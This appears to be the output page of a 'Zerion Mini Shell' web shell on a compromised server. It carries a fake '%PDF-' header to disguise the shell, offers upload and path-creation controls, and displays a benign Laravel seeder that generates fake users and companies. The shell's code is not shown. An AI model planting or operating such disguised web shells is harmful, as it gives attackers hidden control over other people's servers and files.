%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/database/seeds/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/database/seeds/UsersTableSeeder.php

<?php

use Faker\Generator as Faker;
use Illuminate\Database\Seeder;
use Workeasy\Models\Role;
use Workeasy\Models\User;

class UsersTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @param \Faker\Generator $faker
     *
     * @return void
     */
    public function run(Faker $faker)
    {
        factory(User::class)->times(10)->create()->each(function ($user) use ($faker) {
            $role_id = Role::query()->where('name', Role::COMPANY)->first()->id;
            /** @var User $user */
            $user->roles()->attach($role_id);
            /** @var User $user */
            $user->company()->create([
                'name'         => $faker->unique()->company,
                'industry'     => $faker->unique()->word,
                'vat'          => $faker->unique()->ean8,
                'address'      => $faker->streetAddress,
                'phone_number' => $faker->randomDigit,
            ]);
        });
    }
}

Zerion Mini Shell 1.0